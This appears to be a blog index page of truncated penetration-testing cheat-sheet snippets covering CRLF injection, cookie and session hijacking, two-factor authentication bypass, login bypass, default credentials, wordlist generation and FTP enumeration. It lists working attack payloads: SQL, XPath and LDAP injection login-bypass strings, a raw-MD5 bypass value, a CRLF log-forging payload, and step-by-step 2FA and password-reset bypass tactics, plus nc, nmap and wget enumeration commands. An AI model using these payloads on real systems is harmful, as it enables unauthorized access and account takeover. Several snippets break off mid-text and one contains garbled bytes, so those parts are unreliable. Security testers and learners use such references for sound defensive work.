gyanamoitips

  What is CRLF? :- When a browser sends a request toa web server, the web server answers back with a response containing both the HTTP response headers and the actual website content, i.e. the response body. The HTTP headers and the HTML response (the website content) are separated by a specific combination of special characters, namely a carriage return and a line feed. For short they are also known as CRLF . An example of CRLF Injection in a log file:- Imagine a log file in an admin panel with  the output stream pattern of IP - Time - Visited Path, such as the below: 123.123.123.123 - 08:15 - /index.php?page=home If an attacker is able to inject the CRLF characters into the HTTP request he is able to change the output stream and fake the log entries. He can change the response from the webs application to something like the below: /index.php?page=home& %0d%0a 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit HTTP Response Splitting :- Since t...

  If you find some kind of custom cookie containing sensitive data ( sessionID , username , emails ...) you should definitely try to exploit it. Decoding the cookie:- If the cookie is using some Base encoding (like Base64 ) or similar you may be able to decode it , change the content and impersonate arbitrary users. Session Hijacking:- Steal a cookie and use it to impersonate the user inside an application. Session fixation:- The attacker get a cookie from a web page and send to the victim a link so the victim logins using the cookie of the attacker. If the cookie is not changed when a user logs in, this could be useful because the attacker could be able to impersonate the user using the cookie.

  Bypassing two-factor authentication :- 2FA , just try to access the next endpoint directly. Maybe you can reuse an already used token inside the account to authenticate. Is the token leaked on a response from the web application? Using the same session start the flow using your account and the victims account. Check if a **mail ** is sent with a **link ** to reset the password and if you can reuse that **link ** to reset the password as many times as you want. If you can generate a new OTP infinite times, the** OTP is simple enough** ( 4 numbers ), and you can try up to 4 or 5 tokens per generated OTP, you can just try the same 4 or 5 tokens every time and generate OTPs until it matches the ones you are using. Password-Reset == disable 2fa :- Create an Account and Turn On 2FA. Logout from that account. Now, Go to forget Password-Reset page. Change your password . Now try to log in. If you are not asked to enter a 2FA code, You can report.

  Authentication bypass :- Authentication Bypass (Raw. MD5): "SELECT * FROM admin WHERE pass = '" .md5($password, true )."' " md5 (" ffifdyop ", true ) = ' or ' 6 �]��!r,��b� Hash Authentication Bypass: admin ' AND 1=0 UNION ALL SELECT 'admin', ' 81dc9bdb52d04dc20036dbd8313ed055 ' GBK Authentication Bypass: %A8%27 OR 1=1;-- 2 %8C%A8%27 OR 1=1-- 2 %bf' or 1=1 -- -- Login bypass list :- admin password 1234 123456 root toor test guest ' or '1'='1 ' or ''=' ' or 1]%00 ' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or ' 'or string-length(name(.))<10 or' 'or contains(name,'adm') or' 'or contains(.,'adm') or' 'or position()=2 or' admin' or ' admin' or '1'='2 * *)(& *)(|(& pwd) *)(|(* *))%00 admin)(&) pwd admin)(!(&(| pwd)) admin))(|(| 1234 '-...

  Default Credentials :- Links: https://www.cirt.net/passwords http://www.passwordsdatabase.com/ https://many-passwords.github.io/ https://github.com/ihebski/DefaultCreds-cheat-sheet http://www.vulnerabilityassessment.co.uk/passwordsC.htm https://192-168-1-1ip.mobi/default-router-passwords-list/ https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv https://github.com/danielmiessler/SecLists https://github.com/carlospolop/hacktricks/tree/95b16dc7eb952272459fc877e4c9d0777d746a16/google/fuzzing/tree/master/dictionaries/README.md https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm Create your own Dictionaries :- Crunch:- crunch 4 6 0123456789ABCDEF -o crunch1.txt # From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @ ...

What is FTP :- The File Transfer Protocol ( FTP ) is a standard network protocol used for the transfer of computer files between a client and server on a computer network. Default Port :- 21 Enumeration :- Banner Grabbing: • nc -vn < IP > 21 • openssl s_client -connect crossfit.htb:21 -starttls ftp # Get certificate if any Anonymous login :- anonymous : anonymous anonymous : ftp : ftp ftp < IP > > anonymous > anonymous > ls -a # List all files (even hidden) yes, they could be hidden) > binary # Set transmission to binary instead of ascii > ascii # Set transmission to ascii instead of binary > bye # exit Automated :- Anon login and bounce FTP checks are perform by default by nmap with - sC option or : nmap --script ftp-* -p 21   < ip > Download all files from FTP :- • wget -m ftp://anonymous:anonymous@10.10.10.98 # Donwload all • wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 # Download all Filezilla Server Vuln...